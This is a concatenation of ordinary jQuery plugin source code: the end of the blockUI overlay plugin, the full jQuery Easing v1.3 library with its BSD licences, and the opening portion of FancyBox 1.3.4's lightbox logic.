s.setExpression('width','jQuery.support.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"');
else
s.setExpression('width','this.parentNode.offsetWidth + "px"');
if (fixL) s.setExpression('left', fixL);
if (fixT) s.setExpression('top', fixT);
}
else if (opts.centerY) {
if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
s.marginTop = 0;
}
else if (!opts.centerY && full) {
var top = (opts.css && opts.css.top) ? parseInt(opts.css.top, 10) : 0;
var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
s.setExpression('top',expression);
}
});
}
// show the message
if (msg) {
if (opts.theme)
lyr3.find('.ui-widget-content').append(msg);
else
lyr3.append(msg);
if (msg.jquery || msg.nodeType)
$(msg).show();
}
if ((msie || opts.forceIframe) && opts.showOverlay)
lyr1.show(); // opacity is zero
if (opts.fadeIn) {
var cb = opts.onBlock ? opts.onBlock : noOp;
var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
var cb2 = msg ? cb : noOp;
if (opts.showOverlay)
lyr2._fadeIn(opts.fadeIn, cb1);
if (msg)
lyr3._fadeIn(opts.fadeIn, cb2);
}
else {
if (opts.showOverlay)
lyr2.show();
if (msg)
lyr3.show();
if (opts.onBlock)
opts.onBlock();
}
// bind key and mouse events
bind(1, el, opts);
if (full) {
pageBlock = lyr3[0];
pageBlockEls = $(':input:enabled:visible',pageBlock);
if (opts.focusInput)
setTimeout(focus, 20);
}
else
center(lyr3[0], opts.centerX, opts.centerY);
if (opts.timeout) {
// auto-unblock
var to = setTimeout(function() {
if (full)
$.unblockUI(opts);
else
$(el).unblock(opts);
}, opts.timeout);
$(el).data('blockUI.timeout', to);
}
}
// remove the block
function remove(el, opts) {
var full = (el == window);
var $el = $(el);
var data = $el.data('blockUI.history');
var to = $el.data('blockUI.timeout');
if (to) {
clearTimeout(to);
$el.removeData('blockUI.timeout');
}
opts = $.extend({}, $.blockUI.defaults, opts || {});
bind(0, el, opts); // unbind events
if (opts.onUnblock === null) {
opts.onUnblock = $el.data('blockUI.onUnblock');
$el.removeData('blockUI.onUnblock');
}
var els;
if (full) // crazy selector to handle odd field errors in ie6/7
els = $('body').children().filter('.blockUI').add('body > .blockUI');
else
els = $el.find('>.blockUI');
// fix cursor issue
if ( opts.cursorReset ) {
if ( els.length > 1 )
els[1].style.cursor = opts.cursorReset;
if ( els.length > 2 )
els[2].style.cursor = opts.cursorReset;
}
if (full)
pageBlock = pageBlockEls = null;
if (opts.fadeOut) {
els.fadeOut(opts.fadeOut);
setTimeout(function() { reset(els,data,opts,el); }, opts.fadeOut);
}
else
reset(els, data, opts, el);
}
// move blocking element back into the DOM where it started
function reset(els,data,opts,el) {
var $el = $(el);
els.each(function(i,o) {
// remove via DOM calls so we don't lose event handlers
if (this.parentNode)
this.parentNode.removeChild(this);
});
if (data && data.el) {
data.el.style.display = data.display;
data.el.style.position = data.position;
if (data.parent)
data.parent.appendChild(data.el);
$el.removeData('blockUI.history');
}
if ($el.data('blockUI.static')) {
$el.css('position', 'static'); // #22
}
if (typeof opts.onUnblock == 'function')
opts.onUnblock(el,opts);
// fix issue in Safari 6 where block artifacts remain until reflow
var body = $(document.body), w = body.width(), cssW = body[0].style.width;
body.width(w-1).width(w);
body[0].style.width = cssW;
}
// bind/unbind the handler
function bind(b, el, opts) {
var full = el == window, $el = $(el);
// don't bother unbinding if there is nothing to unbind
if (!b && (full && !pageBlock || !full && !$el.data('blockUI.isBlocked')))
return;
$el.data('blockUI.isBlocked', b);
// don't bind events when overlay is not in use or if bindEvents is false
if (!opts.bindEvents || (b && !opts.showOverlay))
return;
// bind anchors and inputs for mouse and key events
var events = 'mousedown mouseup keydown keypress keyup touchstart touchend touchmove';
if (b)
$(document).bind(events, opts, handler);
else
$(document).unbind(events, handler);
// former impl...
// var $e = $('a,:input');
// b ? $e.bind(events, opts, handler) : $e.unbind(events, handler);
}
// event handler to suppress keyboard/mouse events when blocking
function handler(e) {
// allow tab navigation (conditionally)
if (e.keyCode && e.keyCode == 9) {
if (pageBlock && e.data.constrainTabKey) {
var els = pageBlockEls;
var fwd = !e.shiftKey && e.target === els[els.length-1];
var back = e.shiftKey && e.target === els[0];
if (fwd || back) {
setTimeout(function(){focus(back);},10);
return false;
}
}
}
var opts = e.data;
var target = $(e.target);
if (target.hasClass('blockOverlay') && opts.onOverlayClick)
opts.onOverlayClick();
// allow events within the message content
if (target.parents('div.' + opts.blockMsgClass).length > 0)
return true;
// allow events for content that is not being blocked
return target.parents().children().filter('div.blockUI').length === 0;
}
function focus(back) {
if (!pageBlockEls)
return;
var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
if (e)
e.focus();
}
function center(el, x, y) {
var p = el.parentNode, s = el.style;
var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
if (x) s.left = l > 0 ? (l+'px') : '0';
if (y) s.top = t > 0 ? (t+'px') : '0';
}
function sz(el, p) {
return parseInt($.css(el,p),10)||0;
}
}
/*global define:true */
if (typeof define === 'function' && define.amd && define.amd.jQuery) {
define(['jquery'], setup);
} else {
setup(jQuery);
}
})();
| JavaScript |
/*
* jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
*
* Uses the built in easing capabilities added In jQuery 1.1
* to offer multiple easing options
*
* TERMS OF USE - jQuery Easing
*
* Open source under the BSD License.
*
* Copyright © 2008 George McGinley Smith
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* Neither the name of the author nor the names of contributors may be used to endorse
* or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
// t: current time, b: begInnIng value, c: change In value, d: duration
jQuery.easing['jswing'] = jQuery.easing['swing'];
jQuery.extend( jQuery.easing,
{
def: 'easeOutQuad',
swing: function (x, t, b, c, d) {
//alert(jQuery.easing.default);
return jQuery.easing[jQuery.easing.def](x, t, b, c, d);
},
easeInQuad: function (x, t, b, c, d) {
return c*(t/=d)*t + b;
},
easeOutQuad: function (x, t, b, c, d) {
return -c *(t/=d)*(t-2) + b;
},
easeInOutQuad: function (x, t, b, c, d) {
if ((t/=d/2) < 1) return c/2*t*t + b;
return -c/2 * ((--t)*(t-2) - 1) + b;
},
easeInCubic: function (x, t, b, c, d) {
return c*(t/=d)*t*t + b;
},
easeOutCubic: function (x, t, b, c, d) {
return c*((t=t/d-1)*t*t + 1) + b;
},
easeInOutCubic: function (x, t, b, c, d) {
if ((t/=d/2) < 1) return c/2*t*t*t + b;
return c/2*((t-=2)*t*t + 2) + b;
},
easeInQuart: function (x, t, b, c, d) {
return c*(t/=d)*t*t*t + b;
},
easeOutQuart: function (x, t, b, c, d) {
return -c * ((t=t/d-1)*t*t*t - 1) + b;
},
easeInOutQuart: function (x, t, b, c, d) {
if ((t/=d/2) < 1) return c/2*t*t*t*t + b;
return -c/2 * ((t-=2)*t*t*t - 2) + b;
},
easeInQuint: function (x, t, b, c, d) {
return c*(t/=d)*t*t*t*t + b;
},
easeOutQuint: function (x, t, b, c, d) {
return c*((t=t/d-1)*t*t*t*t + 1) + b;
},
easeInOutQuint: function (x, t, b, c, d) {
if ((t/=d/2) < 1) return c/2*t*t*t*t*t + b;
return c/2*((t-=2)*t*t*t*t + 2) + b;
},
easeInSine: function (x, t, b, c, d) {
return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
},
easeOutSine: function (x, t, b, c, d) {
return c * Math.sin(t/d * (Math.PI/2)) + b;
},
easeInOutSine: function (x, t, b, c, d) {
return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b;
},
easeInExpo: function (x, t, b, c, d) {
return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b;
},
easeOutExpo: function (x, t, b, c, d) {
return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b;
},
easeInOutExpo: function (x, t, b, c, d) {
if (t==0) return b;
if (t==d) return b+c;
if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b;
return c/2 * (-Math.pow(2, -10 * --t) + 2) + b;
},
easeInCirc: function (x, t, b, c, d) {
return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b;
},
easeOutCirc: function (x, t, b, c, d) {
return c * Math.sqrt(1 - (t=t/d-1)*t) + b;
},
easeInOutCirc: function (x, t, b, c, d) {
if ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b;
return c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b;
},
easeInElastic: function (x, t, b, c, d) {
var s=1.70158;var p=0;var a=c;
if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;
if (a < Math.abs(c)) { a=c; var s=p/4; }
else var s = p/(2*Math.PI) * Math.asin (c/a);
return -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
},
easeOutElastic: function (x, t, b, c, d) {
var s=1.70158;var p=0;var a=c;
if (t==0) return b; if ((t/=d)==1) return b+c; if (!p) p=d*.3;
if (a < Math.abs(c)) { a=c; var s=p/4; }
else var s = p/(2*Math.PI) * Math.asin (c/a);
return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b;
},
easeInOutElastic: function (x, t, b, c, d) {
var s=1.70158;var p=0;var a=c;
if (t==0) return b; if ((t/=d/2)==2) return b+c; if (!p) p=d*(.3*1.5);
if (a < Math.abs(c)) { a=c; var s=p/4; }
else var s = p/(2*Math.PI) * Math.asin (c/a);
if (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
return a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b;
},
easeInBack: function (x, t, b, c, d, s) {
if (s == undefined) s = 1.70158;
return c*(t/=d)*t*((s+1)*t - s) + b;
},
easeOutBack: function (x, t, b, c, d, s) {
if (s == undefined) s = 1.70158;
return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;
},
easeInOutBack: function (x, t, b, c, d, s) {
if (s == undefined) s = 1.70158;
if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b;
return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;
},
easeInBounce: function (x, t, b, c, d) {
return c - jQuery.easing.easeOutBounce (x, d-t, 0, c, d) + b;
},
easeOutBounce: function (x, t, b, c, d) {
if ((t/=d) < (1/2.75)) {
return c*(7.5625*t*t) + b;
} else if (t < (2/2.75)) {
return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
} else if (t < (2.5/2.75)) {
return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
} else {
return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
}
},
easeInOutBounce: function (x, t, b, c, d) {
if (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b;
return jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b;
}
});
/*
*
* TERMS OF USE - EASING EQUATIONS
*
* Open source under the BSD License.
*
* Copyright © 2001 Robert Penner
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* Neither the name of the author nor the names of contributors may be used to endorse
* or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/ | JavaScript |
/*
* FancyBox - jQuery Plugin
* Simple and fancy lightbox alternative
*
* Examples and documentation at: http://fancybox.net
*
* Copyright (c) 2008 - 2010 Janis Skarnelis
* That said, it is hardly a one-person project. Many people have submitted bugs, code, and offered their advice freely. Their support is greatly appreciated.
*
* Version: 1.3.4 (11/11/2010)
* Requires: jQuery v1.3+
*
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*/
;(function($) {
var tmp, loading, overlay, wrap, outer, content, close, title, nav_left, nav_right,
selectedIndex = 0, selectedOpts = {}, selectedArray = [], currentIndex = 0, currentOpts = {}, currentArray = [],
ajaxLoader = null, imgPreloader = new Image(), imgRegExp = /\.(jpg|gif|png|bmp|jpeg)(.*)?$/i, swfRegExp = /[^\.]\.(swf)\s*$/i,
loadingTimer, loadingFrame = 1,
titleHeight = 0, titleStr = '', start_pos, final_pos, busy = false, fx = $.extend($('<div/>')[0], { prop: 0 }),
isIE6 = $.browser.msie && $.browser.version < 7 && !window.XMLHttpRequest,
/*
* Private methods
*/
_abort = function() {
loading.hide();
imgPreloader.onerror = imgPreloader.onload = null;
if (ajaxLoader) {
ajaxLoader.abort();
}
tmp.empty();
},
_error = function() {
if (false === selectedOpts.onError(selectedArray, selectedIndex, selectedOpts)) {
loading.hide();
busy = false;
return;
}
selectedOpts.titleShow = false;
selectedOpts.width = 'auto';
selectedOpts.height = 'auto';
tmp.html( '<p id="fancybox-error">The requested content cannot be loaded.<br />Please try again later.</p>' );
_process_inline();
},
_start = function() {
var obj = selectedArray[ selectedIndex ],
href,
type,
title,
str,
emb,
ret;
_abort();
selectedOpts = $.extend({}, $.fn.fancybox.defaults, (typeof $(obj).data('fancybox') == 'undefined' ? selectedOpts : $(obj).data('fancybox')));
ret = selectedOpts.onStart(selectedArray, selectedIndex, selectedOpts);
if (ret === false) {
busy = false;
return;
} else if (typeof ret == 'object') {
selectedOpts = $.extend(selectedOpts, ret);
}
title = selectedOpts.title || (obj.nodeName ? $(obj).attr('title') : obj.title) || '';
if (obj.nodeName && !selectedOpts.orig) {
selectedOpts.orig = $(obj).children("img:first").length ? $(obj).children("img:first") : $(obj);
}
if (title === '' && selectedOpts.orig && selectedOpts.titleFromAlt) {
title = selectedOpts.orig.attr('alt');
}
href = selectedOpts.href || (obj.nodeName ? $(obj).attr('href') : obj.href) || null;
if ((/^(?:javascript)/i).test(href) || href == '#') {
href = null;
}
if (selectedOpts.type) {
type = selectedOpts.type;
if (!href) {
href = selectedOpts.content;
}
} else if (selectedOpts.content) {
type = 'html';
} else if (href) {
if (href.match(imgRegExp)) {
type = 'image';
} else if (href.match(swfRegExp)) {
type = 'swf';
} else if ($(obj).hasClass("iframe")) {
type = 'iframe';
} else if (href.indexOf("#") === 0) {
type = 'inline';
} else {
type = 'ajax';
}
}
if (!type) {
_error();
return;
}
if (type == 'inline') {
obj = href.substr(href.indexOf("#"));
type = $(obj).length > 0 ? 'inline' : 'ajax';
}
selectedOpts.type = type;
selectedOpts.href = href;
selectedOpts.title = title;
if (selectedOpts.autoDimensions) {
if (selectedOpts.type == 'html' || selectedOpts.type == 'inline' || selectedOpts.type == 'ajax') {
selectedOpts.width = 'auto';
selectedOpts.height = 'auto';
} else {
selectedOpts.autoDimensions = false;
}
}
if (selectedOpts.modal) {
selectedOpts.overlayShow = true;
selectedOpts.hideOnOverlayClick = false;
selectedOpts.hideOnContentClick = false;
selectedOpts.enableEscapeButton = false;
selectedOpts.showCloseButton = false;
}
selectedOpts.padding = parseInt(selectedOpts.padding, 10);
selectedOpts.margin = parseInt(selectedOpts.margin, 10);
tmp.css('padding', (selectedOpts.padding + selectedOpts.margin));
$('.fancybox-inline-tmp').unbind('fancybox-cancel').bind('fancybox-change', function() {
$(this).replaceWith(content.children());
});
switch (type) {
case 'html' :
tmp.html( selectedOpts.content );
_process_inline();
break;
case 'inline' :
if ( $(obj).parent().is('#fancybox-content') === true) {
busy = false;
return;
}
$('<div class="fancybox-inline-tmp" />')
.hide()
.insertBefore( $(obj) )
.bind('fancybox-cleanup', function() {
$(this).replaceWith(content.children());
}).bind('fancybox-cancel', function() {
$(this).replaceWith(tmp.children());
});
$(obj).appendTo(tmp);
_process_inline();
break;
case 'image':
busy = false;
$.fancybox.showActivity();
imgPreloader = new Image();
imgPreloader.onerror = function() {
_error();
};
imgPreloader.onload = function() {
busy = true;
imgPreloader.onerror = imgPreloader.onload = null;
_process_image();
};
imgPreloader.src = href;
break;
case 'swf':
selectedOpts.scrolling = 'no';
str = '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="' + selectedOpts.width + '" height="' + selectedOpts.height + '"><param name="movie" value="' + href + '"></param>';
emb = '';
$.each(selectedOpts.swf, function(name, val) {
str += '<param name="' + name + '" value="' + val + '"></param>';
emb += ' ' + name + '="' + val + '"';
});
str += '<embed src="' + href + '" type="application/x-shockwave-flash" width="' + selectedOpts.width + '" height="' + selectedOpts.height + '"' + emb + '></embed></object>';
tmp.html(str);
_process_inline();
break;
case 'ajax':
busy = false;
$.fancybox.showActivity();
selectedOpts.ajax.win = selectedOpts.ajax.success;
ajaxLoader = $.ajax($.extend({}, selectedOpts.ajax, {
url : href,
data : selectedOpts.ajax.data || {},
error : function(XMLHttpRequest, textStatus, errorThrown) {
if ( XMLHttpRequest.status > 0 ) {
_error();
}
},
success : function(data, textStatus, XMLHttpRequest) {
var o = typeof XMLHttpRequest == 'object' ? XMLHttpRequest : ajaxLoader;
if (o.status == 200) {
if ( typeof selectedOpts.ajax.win == 'function' ) {
ret = selectedOpts.ajax.win(href, data, textStatus, XMLHttpRequest);
if (ret === false) {
loading.hide();
return;
} else if (typeof ret == 'string' || typeof ret == 'object') {
data = ret;
}
}
tmp.html( data );
_process_inline();
}
}
}));
break;
case 'iframe':
_show();
break;
}
},
_process_inline = function() {
var
w = selectedOpts.width,
h = selectedOpts.height;
if (w.toString().indexOf('%') > -1) {
w = parseInt( ($(window).width() - (selectedOpts.margin * 2)) * parseFloat(w) / 100, 10) + 'px';
} else {
w = w == 'auto' ? 'auto' : w + 'px';
}
if (h.toString().indexOf('%') > -1) {
h = parseInt( ($(window).height() - (selectedOpts.margin * 2)) * parseFloat(h) / 100, 10) + 'px';
} else {
h = h == 'auto' ? 'auto' : h + 'px';
}
tmp.wrapInner('<div style="width:' + w + ';height:' + h + ';overflow: ' + (selectedOpts.scrolling == 'auto' ? 'auto' : (selectedOpts.scrolling == 'yes' ? 'scroll' : 'hidden')) + ';position:relative;"></div>');
selectedOpts.width = tmp.width();
selectedOpts.height = tmp.height();
_show();
},
_process_image = function() {
selectedOpts.width = imgPreloader.width;
selectedOpts.height = imgPreloader.height;
$("<img />").attr({
'id' : 'fancybox-img',
'src' : imgPreloader.src,
'alt' : selectedOpts.title
}).appendTo( tmp );
_show();
},
_show = function() {
var pos, equal;
loading.hide();
if (wrap.is(":visible") && false === currentOpts.onCleanup(currentArray, currentIndex, currentOpts)) {
$.event.trigger('fancybox-cancel');
busy = false;
return;
}
busy = true;
$(content.add( overlay )).unbind();
$(window).unbind("resize.fb scroll.fb");
$(document).unbind('keydown.fb');
if (wrap.is(":visible") && currentOpts.titlePosition !== 'outside') {
wrap.css('height', wrap.height());
}
currentArray = selectedArray;
currentIndex = selectedIndex;
currentOpts = selectedOpts;
if (currentOpts.overlayShow) {
overlay.css({
'background-color' : currentOpts.overlayColor,
'opacity' : currentOpts.overlayOpacity,
'cursor' : currentOpts.hideOnOverlayClick ? 'pointer' : 'auto',
'height' : $(document).height()
});
if (!overlay.is(':visible')) {
if (isIE6) {
$('select:not(#fancybox-tmp select)').filter(function() {
return this.style.visibility !== 'hidden';
}).css({'visibility' : 'hidden'}).one('fancybox-cleanup', function() {
this.style.visibility = 'inherit';
});
}
overlay.show();
}
} else {
overlay.hide();
}
final_pos = _get_zoom_to();
_process_title();
if (wrap.is(":visible")) {
$( close.add( nav_left ).add( nav_right ) ).hide();
pos = wrap.position(),
start_pos = {
top : pos.top,
left : pos.left,
width : wrap.width(),
height : wrap.height()
};
equal = (start_pos.width == final_pos.width && start_pos.height == final_pos.height);
content.fadeTo(currentOpts.changeFade, 0.3, function() {
var finish_resizing = function() {
content.html( tmp.contents() ).fadeTo(currentOpts.changeFade, 1, _finish);
};
$.event.trigger('fancybox-change');
content
.empty()
.removeAttr('filter')
.css({
'border-width' : currentOpts.padding,
'width' : final_pos.width - currentOpts.padding * 2,
'height' : selectedOpts.autoDimensions ? 'auto' : final_pos.height - titleHeight - currentOpts.padding * 2
});
if (equal) {
finish_resizing();
} else {
fx.prop = 0;
$(fx).animate({prop: 1}, {
duration : currentOpts.changeSpeed,
easing : currentOpts.easingChange,
step : _draw,
complete : finish_resizing
});
}
});
return;
}
wrap.removeAttr("style");
content.css('border-width', currentOpts.padding);
if (currentOpts.transitionIn == 'elastic') {
start_pos = _get_zoom_from();
content.html( tmp.contents() );
wrap.show();
if (currentOpts.opacity) {
final_pos.opacity = 0;
}
fx.prop = 0;
$(fx).animate({prop: 1}, {
duration : currentOpts.speedIn,
easing : currentOpts.easingIn,
step : _draw,
complete : _finish
});
return;
}
if (currentOpts.titlePosition == 'inside' && titleHeight > 0) {
title.show();
}
content
.css({
'width' : final_pos.width - currentOpts.padding * 2,
'height' : selectedOpts.autoDimensions ? 'auto' : final_pos.height - titleHeight - currentOpts.padding * 2
})
.html( tmp.contents() );
wrap
.css(final_pos)
.fadeIn( currentOpts.transitionIn == 'none' ? 0 : currentOpts.speedIn, _finish );
},
_format_title = function(title) {
if (title && title.length) {
if (currentOpts.titlePosition == 'float') {
return '<table id="fancybox-title-float-wrap" cellpadding="0" cellspacing="0"><tr><td id="fancybox-title-float-left"></td><td id="fancybox-title-float-main">' + title + '</td><td id="fancybox-title-float-right"></td></tr></table>';
}
return '<div id="fancybox-title-' + currentOpts.titlePosition + '">' + title + '</div>';
}
return false;
},
_process_title = function() {
titleStr = currentOpts.title || '';
titleHeight = 0;
title
.empty()
.removeAttr('style')
.removeClass();
if (currentOpts.titleShow === false) {
title.hide();
return;
}
titleStr = $.isFunction(currentOpts.titleFormat) ? currentOpts.titleFormat(titleStr, currentArray, currentIndex, currentOpts) : _format_title(titleStr);
if (!titleStr || titleStr === '') {
title.hide();
return;
}
title
.addClass('fancybox-title-' + currentOpts.titlePosition)
.html( titleStr )
.appendTo( 'body' )
.show();
switch (currentOpts.titlePosition) {
case 'inside':
title
.css({
'width' : final_pos.width - (currentOpts.padding * 2),
'marginLeft' : currentOpts.padding,
'marginRight' : currentOpts.padding
});
titleHeight = title.outerHeight(true);
title.appendTo( outer );
final_pos.height += titleHeight;
break;
case 'over':
title
.css({
'marginLeft' : currentOpts.padding,
'width' : final_pos.width - (currentOpts.padding * 2),
'bottom' : currentOpts.padding
})
.appendTo( outer );
break;
case 'float':
title
.css('left', parseInt((title.width() - final_pos.width - 40)/ 2, 10) * -1)
.appendTo( wrap );
break;
default:
title
.css({
'width' : final_pos.width - (currentOpts.padding * 2),
'paddingLeft' : currentOpts.padding,
'paddingRight' : currentOpts.padding
})
.appendTo( wrap );
break;
}
title.hide();
},
_set_navigation = function() {
if (currentOpts.enableEscapeButton || currentOpts.enableKeyboardNav) {
$(document).bind('keydown.fb', function(e) {
if (e.keyCode == 27 && currentOpts.enableEscapeButton) {
e.preventDefault();
$.fancybox.close();
} else if ((e.keyCode == 37 || e.keyCode == 39) && currentOpts.enableKeyboardNav && e.target.tagName !== 'INPUT' && e.target.tagName !== 'TEXTAREA' && e.target.tagName !== 'SELECT') {
e.preventDefault();
$.fancybox[ e.keyCode == 37 ? 'prev' : 'next']();
}
});
}
if (!currentOpts.showNavArrows) {
nav_left.hide();
nav_right.hide();
return;
}
if ((currentOpts.cyclic && currentArray.length > 1) || currentIndex !== 0) {
nav_left.show();
}
if ((currentOpts.cyclic && currentArray.length > 1) || currentIndex != (currentArray.length -1)) {
nav_right.show();
}
},
_finish = function () {
if (!$.support.opacity) {
content.get(0).style.removeAttribute('filter');
wrap.get(0).style.removeAttribute('filter');
}
if (selectedOpts.autoDimensions) {
content.css('height', 'auto');
}
wrap.css('height', 'auto');
if (titleStr && titleStr.length) {
title.show();
}
if (currentOpts.showCloseButton) {
close.show();
}
_set_navigation();
if (currentOpts.hideOnContentClick) {
content.bind('click', $.fancybox.close);
}
if (currentOpts.hideOnOverlayClick) {
overlay.bind('click', $.fancybox.close);
}
$(window).bind("resize.fb", $.fancybox.resize);
if (currentOpts.centerOnScroll) {
$(window).bind("scroll.fb", $.fancybox.center);
}
if (currentOpts.type == 'iframe') {
$('<iframe id="fancybox-frame" name="fancybox-frame' + new Date().getTime() + '" frameborder="0" hspace="0" ' + ($.browser.msie ? 'allowtransparency="true""' : '') + ' scrolling="' + selectedOpts.scrolling + '" src="' + currentOpts.href + '"></iframe>').appendTo(content);
}
wrap.show();
busy = false;
$.fancybox.center();
currentOpts.onComplete(currentArray, currentIndex, currentOpts);
_preload_images();
},
_preload_images = function() {
var href,
objNext;
if ((currentArray.length -1) > currentIndex) {
href = currentArray[ currentIndex + 1 ].href;
if (typeof href !== 'undefined' && href.match(imgRegExp)) {
objNext = new Image();
objNext.src = href;
}
}
if (currentIndex > 0) {
href = currentArray[ currentIndex - 1 ].href;
if (typeof href !== 'undefined' && href.match(imgRegExp)) {
objNext = new Image();
objNext.src = href;
}
}
},
_draw = function(pos) {
var dim = {
width : parseInt(start_pos.width + (final_pos.width - start_pos.width) * pos, 10),
height : parseInt(start_pos.height + (final_pos.height - start_pos.height) * pos, 10),
top : parseInt(start_pos.top + (final_pos.top - start_pos.top) * pos, 10),
left : parseInt(start_pos.left + (final_pos.left - start_pos.left) * pos, 10)
};
if (typeof final_pos.opacity !== 'undefined') {
dim.opacity = pos < 0.5 ? 0.5 : pos;
}
wrap.css(dim);
content.css({
'width' : dim.width - currentOpts.padding * 2,
'height' : dim.height - (titleHeight * pos) - currentOpts.padding * 2
});
},
_get_viewport = function() {
return [
$(window).width() - (currentOpts.margin * 2),
$(window).height() - (currentOpts.margin * 2),
$(document).scrollLeft() + currentOpts.margin,
$(document).scrollTop() + currentOpts.margin
];
},
_get_zoom_to = function () {
var view = _get_viewport(),
to = {},
resize = currentOpts.autoScale,
double_padding = currentOpts.padding * 2,
ratio;
if (currentOpts.width.toString().indexOf('%') > -1) {
to.width = parseInt((view[0] * parseFloat(currentOpts.width)) / 100, 10);
} else {
to.width = currentOpts.width + double_padding;
}
if (currentOpts.height.toString().indexOf('%') > -1) {
to.height = parseInt((view[1] * parseFloat(currentOpts.height)) / 100, 10);
} else {
to.height = currentOpts.height + double_padding;
}
if (resize && (to.width > view[0] || to.height > view[1])) {
if (selectedOpts.type == 'image' || selectedOpts.type == 'swf') {
ratio = (currentOpts.width ) / (currentOpts.height );
if ((to.width ) > view[0]) {
to.width = view[0];
to.height = parseInt(((to.width - double_padding) / ratio) + double_padding, 10);
}
if ((to.height) > view[1]) {
to.height = view[1];
to.width = parseInt(((to.height - double_padding) * ratio) + double_padding, 10);
}
} else {
to.width = Math.min(to.width, view[0]);
to.height = Math.min(to.height, view[1]);
}
}
to.top = parseInt(Math.max(view[3] - 20, view[3] + ((view[1] - to.height - 40) * 0.5)), 10);
to.left = parseInt(Math.max(view[2] - 20, view[2] + ((view[0] - to.width - 40) * 0.5)), 10);
return to;
},
_get_obj_pos = function(obj) {
var pos = obj.offset();
pos.top += parseInt( obj.css('paddingTop'), 10 ) || 0;
pos.left += parseInt( obj.css('paddingLeft'), 10 ) || 0;
